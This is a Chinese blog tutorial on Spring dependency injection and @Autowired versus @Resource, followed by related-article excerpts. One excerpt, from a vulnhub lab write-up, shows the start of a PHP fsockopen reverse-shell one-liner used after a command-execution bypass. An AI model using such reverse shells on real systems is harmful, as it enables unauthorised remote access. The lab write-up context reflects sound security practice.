【JavaEE进阶】 依赖注⼊DI详解

文章目录

  • 🌴什么是依赖注入
  • 🎄依赖注入的三种方法
    • 🚩属性注⼊(Field Injection)
    • 🚩构造⽅法注⼊
    • 🚩Setter注⼊
    • 🚩三种注⼊的优缺点
  • 🌳@Autowired存在的问题
  • 🌲解决@Autowired存在的问题
  • 🍃@Autowird与@Resource的区别
  • ⭕总结

🌴什么是依赖注入

依赖注⼊是⼀个过程,是指IoC容器在创建Bean时,去提供运⾏时所依赖的资源,⽽资源指的就是对象.

简单来说,就是把对象取出来放到某个类的属性中.

在⼀些⽂章中,依赖注⼊也被称之为"对象注⼊",“属性装配”,具体含义需要结合⽂章的上下⽂来理解

🎄依赖注入的三种方法

关于依赖注⼊,Spring也给我们提供了三种⽅式:

  1. 属性注⼊(Field Injection)

  2. 构造⽅法注⼊(Constructor Injection)

  3. Setter注⼊(Setter Injection)

🚩属性注⼊(Field Injection)

属性注⼊是使⽤ @Autowired 实现的。

比如我们将StudentService类注⼊到StudentController类中.

StudentService.java代码如下:

@Service
public class StudentService {
    public void run() {
        System.out.println("StudentService启动");
    }
}

StudentController.java代码如下:

@RestController
public class StudentController {
    @Autowired
    private StudentService studentService;
    public void run() {
    	System.out.println("StudentController启动");
        studentService.run();
    }
}

获取StudentController中的run方法

@SpringBootApplication
public class SpringMvcApplication {

    public static void main(String[] args) {
        //获取spring上下文
        ApplicationContext context = SpringApplication.run(SpringMvcApplication.class, args);
        //从spring中获取对象
        StudentController studentController = context.getBean("studentController",StudentController.class);
        //使用spring对象
        studentController.run();
    }

}

启动项目,结果如下:

在这里插入图片描述

🚩构造⽅法注⼊

构造⽅法注⼊是在类的构造⽅法中实现注⼊,如下代码所⽰:

@RestController
public class StudentController {

    private StudentService studentService;

    public StudentController() {
    }
    
    @Autowired
    public StudentController(StudentService studentService) {
        this.studentService = studentService;
    }
    public void run() {
        System.out.println("StudentController启动");
        studentService.run();
    }

}

结果展示:

在这里插入图片描述
注意事项:

  • 如果类只有⼀个构造⽅法,那么@Autowired注解可以省略;如果类中有多个构造⽅法,那么需要添加上@Autowired来明确指定到底使⽤哪个构造⽅法
  • 如果存在多个构造方法,还没有写注解的话,就会出现以下问题
    在这里插入图片描述

🚩Setter注⼊

Setter注⼊和属性的Setter⽅法实现类似,只不过在设置set⽅法的时候需要加上@Autowired注解

@RestController
public class StudentController {

    private StudentService studentService;

    @Autowired
    public void setStudentService(StudentService studentService) {
        this.studentService = studentService;
    }
    public void run() {
        System.out.println("StudentController启动");
        studentService.run();
    }

}

在这里插入图片描述

🚩三种注⼊的优缺点

属性注⼊:

  • 优点:

    • 简洁,使⽤⽅便;
  • 缺点:

    • 只能⽤于IoC容器,如果是⾮IoC容器不可⽤,并且只有在使⽤的时候才会出现NPE(空指针异常)

    • 不能注⼊⼀个Final修饰的属性

构造函数注⼊(Spring 4.X推荐):

  • 优点:
    • 可以注⼊final修饰的属性

    • 注⼊的对象不会被修改

    • 依赖对象在使⽤前⼀定会被完全初始化,因为依赖是在类的构造⽅法中执⾏的,⽽构造⽅法是在类加载阶段就会执⾏的⽅法.

    • 通⽤性好,构造⽅法是JDK⽀持的,所以更换任何框架,他都是适⽤的

  • 缺点:
    • 注⼊多个对象时,代码会⽐较繁琐

Setter注⼊(Spring3.X推荐):

  • 优点:

    • ⽅便在类实例之后,重新对该对象进⾏配置或者注⼊
  • 缺点:

    • 不能注⼊⼀个Final修饰的属性

    • 注⼊对象可能会被改变,因为setter⽅法可能会被多次调⽤,就有被修改的⻛险.

🌳@Autowired存在的问题

当同⼀类型存在多个bean时,在使⽤@Autowired就会存在问题

比如我们有以下bean。

BeanFiguation.java代码如下:

@Configuration
public class BeanFiguation {
    @Bean
    public Student student1() {
        Student student = new Student();
        student.setId(11);
        student.setName("遇事");
        student.setAge(11);
        return student;
    }
    @Bean
    public Student student2() {
        Student student = new Student();
        student.setId(22);
        student.setName("问春风乄");
        student.setAge(22);
        return student;
    }
}

StudentController.java代码如下:

@RestController
public class StudentController {

    @Autowired
    private Student student;

    public void run() {
        System.out.println(student);
    }
}

当我们进行启动时:
在这里插入图片描述
报错的原因是,⾮唯⼀的 Bean 对象

在这里插入图片描述

🌲解决@Autowired存在的问题

为了解决上述问题,Spring提供了以下4种解决⽅案:

  • bean对象名称与属性名相匹配
  • @Primary
  • @Qualifier
  • @Resource

第一种:bean对象名称与属性名相匹配

在这里插入图片描述

第二种:使⽤@Primary注解:当存在多个相同类型的Bean注⼊时,加上@Primary注解,来确定默认的实现.

在这里插入图片描述

第三种:使⽤@Qualifier注解:指定当前要注⼊的bean对象。在@Qualifier的value属性中,指定注⼊的bean的名称。

  • @Qualifier注解不能单独使⽤,必须配合@Autowired使⽤

在这里插入图片描述
在这里插入图片描述

第四种:使⽤@Resource注解:是按照bean的名称进⾏注⼊。通过name属性指定要注⼊的bean的名称。

在这里插入图片描述

在这里插入图片描述

🍃@Autowird与@Resource的区别

  • @Autowired是spring框架提供的注解,⽽@Resource是JDK提供的注解

  • @Autowired默认是按照类型注⼊,⽽@Resource是按照名称注⼊.相⽐于@Autowired来说,@Resource⽀持更多的参数设置,例如:name设置,根据名称获取Bean。

⭕总结

关于《【JavaEE进阶】 依赖注⼊DI详解》就讲解到这儿,感谢大家的支持,欢迎各位留言交流以及批评指正,如果文章对您有帮助或者觉得作者写的还不错可以点一下关注,点赞,收藏支持一下!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/333496.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

经纬恒润4D成像毫米波雷达亮相 CES 2024

在刚刚结束的CES 2024上,经纬恒润联合以色列Arbe Robotics公司展出了基于Arbe芯片组方案的4D成像毫米波雷达LRR610。 经纬恒润自主研发的4D成像毫米波雷达LRR610,具备48发48收通道,在方位和俯仰向均具有高分辨能力,可以形成丰富的…

FPGA(基于xilinx)中PCIe介绍以及IP核XDMA的使用

Xilinx中PCIe简介以及IP核XDMA的使用 例如:第一章 PCIe简介以及IP核的使用 文章目录 Xilinx中PCIe简介以及IP核XDMA的使用一、PCIe总线概述1.PCIe 总线架构2.PCIe 不同版本的性能指标及带宽计算3.PCIe 接口信号 二、XDMA1.XDMA 与其它 PCIe IP 的区别2.XDMA简介 三…

【clickhouse】Array数组查询操作

文章目录 1 测试数据2 查询3 所用函数3.1 arrayExists3.2 coalesce 1 测试数据 // 建库 create database test;// 建表 CREATE TABLE test.test ( id String, tag1 Array(String), tag2 Array(Int32), updated DateTime ) ENGINE MergeTree ORDER BY id// 插入数据 insert in…

React配置src根目录@

文章目录 1.打开webpack配置文件2.配置webpack 1.打开webpack配置文件 yarn eject or npm run eject 如果报错了记得提前 git commit一下 2.配置webpack 找到 webpack.config.js 文件在 webpack.config.js 文件中找到 alias 配置在alias里添加: path.resolve(src) , 或者 : pa…

2019年认证杯SPSSPRO杯数学建模D题(第二阶段)5G时代引发的道路规划革命全过程文档及程序

2019年认证杯SPSSPRO杯数学建模 D题 5G时代引发的道路规划革命 原题再现: 忙着回家或上班的司机们都知道交通堵塞既浪费时间又浪费燃料,甚至有的时候会带来情绪上的巨大影响,引发一系列的交通问题。据报道,每年交通拥堵使得美国…

AGI即将出现,未来最重要的资源是算力和能源

丨划重点 ① 关于新模型的名字,奥特曼还没有明确的想法,但他称不喜欢像“iPhone 27”这样的命名方式。 ② 奥特曼认为AGI将在不久的将来出现,但对社会和工作的影响程度可能远低于预期。 ③ 奥特曼表示,尽管AI的潜力超过预期&#…

2024年最值得关注的跨境电商平台盘点,TikTok Shop或成最大趋势

时代的巨变在2023年尤其明显,这一年随着全球化进程的加深,跨境出海处于“高景气”阶段。为了在跨境出海浪潮中保有稳定的地位甚至获得增长,跨境人最需要关注的是哪个跨境电商平台成为大势,用户所选择的平台是什么?在跨…

100个实战项目——在树莓派4B+Ubuntu20.04桌面版配置下运行智能小车(一)

主机SSH远程链接从机 查看python版本 python 我的是python3.8 所以我需要安装pip3 sudo apt install python3-pip 接着安装程序需要的引脚库 sudo pip3 install RPi.GPIO 注意必须要有sudo,因为我是远程遥控的树莓派,没有权限运行程序&#xff0…

element plus 可选择树形组件(el-tree) 怎样一键展开/收起?实现方法详解

实现代码&#xff1a; 按钮&#xff1a; <el-button click"takeall" style"height: 24px">{{zhanstatus % 2 ! 0 ? "收起所有" : "展开所有"}} </el-button> 组件&#xff1a; <el-form-item label"可选择菜单…

【报错fatal: unable to access ‘https://github解决办法】

【报错fatal: unable to access ‘https://github解决办法】 方法一&#xff1a;修改host文件 把140.82.114.4 github.com添加到C:\Windows\System32\drivers\etc里的hosts文件的最后一行&#xff0c;然后保存就行 方法二&#xff1a;把命令行里的http改为git重新执行

vulnhub靶机Chill_Hack

下载地址&#xff1a;Chill Hack: 1 ~ VulnHub 主机发现 目标176 端口扫描 服务扫描 直接去看web 先扫一下 有几个有点问题 看着好像命令执行 看来没错直接反弹shell 还有还白名单&#xff1f; bash也不能用 那就用php吧 whoami|php -r $sockfsockopen("192.168.21.13…

回归预测 | Matlab实现GA-APSO-MBP、GA-MBP、MBP、BP多输入单输出回归预测

回归预测 | Matlab实现GA-APSO-MBP、GA-MBP、MBP、BP多输入单输出回归预测 目录 回归预测 | Matlab实现GA-APSO-MBP、GA-MBP、MBP、BP多输入单输出回归预测预测效果基本描述程序设计参考资料 预测效果 基本描述 1.Matlab实现GA-APSO-MBP、GA-MBP、MBP、BP多输入单输出回归预测&…

扫一扫计数的工具有哪些?分享3款实用的!

在数字化时代&#xff0c;扫描计数软件已经成为我们日常生活和工作中不可或缺的工具。无论是需要快速统计物品数量、识别文字还是测量长度&#xff0c;这些软件都能提供方便快捷的解决方案。本文将为您介绍3款实用的扫描计数软件&#xff0c;帮助您轻松解决各种计数难题&#x…

探索自适应学习在考试培训系统中的优势

近年来&#xff0c;随着互联网的普及和发展&#xff0c;自适应学习作为一种个性化、灵活的学习方式受到越来越多教育工作者的关注。在考试培训系统中引入自适应学习&#xff0c;可以为学生提供更加有效和高效的学习体验。 自适应学习可以根据学生个体的学习特点和水平&#xff…

QT-QML2048小游戏

QT-QML2048小游戏 一、演示效果二、关键程序三、下载链接 一、演示效果 二、关键程序 import QtQuick 2.2 import QtQuick.Controls 1.1 import QtQuick.Controls.Styles 1.1 import QtQuick.Dialogs 1.1 import QtQuick.Window 2.1 import "2048.js" as MyScriptAp…

三菱plc学习入门(创建属于自己的FB模块)

在现实生活中&#xff0c;往往会需要修改一些属于方便自己的库&#xff0c;1&#xff0c;自己创建的库方便自己使用与查看2&#xff0c;提高自己编程能力&#xff0c;3&#xff0c;保护自己的程序不被外人修改&#xff01;&#xff01;&#xff01;下面就让我来操作一下 导入需…

LLM之Agent(八)| 使用CrewAi、Solor/Hermes、Langchain和Ollama构建超级Agent

随着大模型技术的发展&#xff0c;AI Agent正在成为大模型游戏规则的改变者&#xff0c;它可以帮助用户分解任务、规划任务和执行任务&#xff0c;这就是CrewAI的独特之处。CrewAI是AutoGEN的顶级替代品&#xff0c;为您提供轻松组建人工智能Agent团队执行自动化任务的能力。 在…

vue3+vite创建项目--(傻瓜式教程)

1、运行创建项目命令 # 使用 npm npm create vitelatest # 使用 yarn yarn create vite # 使用 pnpm pnpm create vite剩下的就是启动以及一些配置信息 2、vitevue3路由配置信息 npm install vue-router4在src目录下新建目录叫“router”&#xff0c;新建一个js文件叫“index…

Redis--Geo指令的语法和使用场景举例(附近的人功能)

文章目录 前言Geo介绍Geo指令使用使用场景&#xff1a;附近的人参考文献 前言 Redis除了常见的五种数据类型之外&#xff0c;其实还有一些少见的数据结构&#xff0c;如Geo&#xff0c;HyperLogLog等。虽然它们少见&#xff0c;但是作用却不容小觑。本文将介绍Geo指令的语法和…

Pyside6入门教学——编写一个UI界面并显示

1、安装Pyside6 输入下列命令安装Pyside6。 pip install Pyside6 2、设计UI 打开Qt设计工具&#xff08;在安装Pyside6包的目录下&#xff09;。 【注】我这用的是anaconda虚拟环境&#xff0c;所以我的路径是D:\App\Anaconda3\envs\snake\Lib\site-packages\PySide6。设计…
最新文章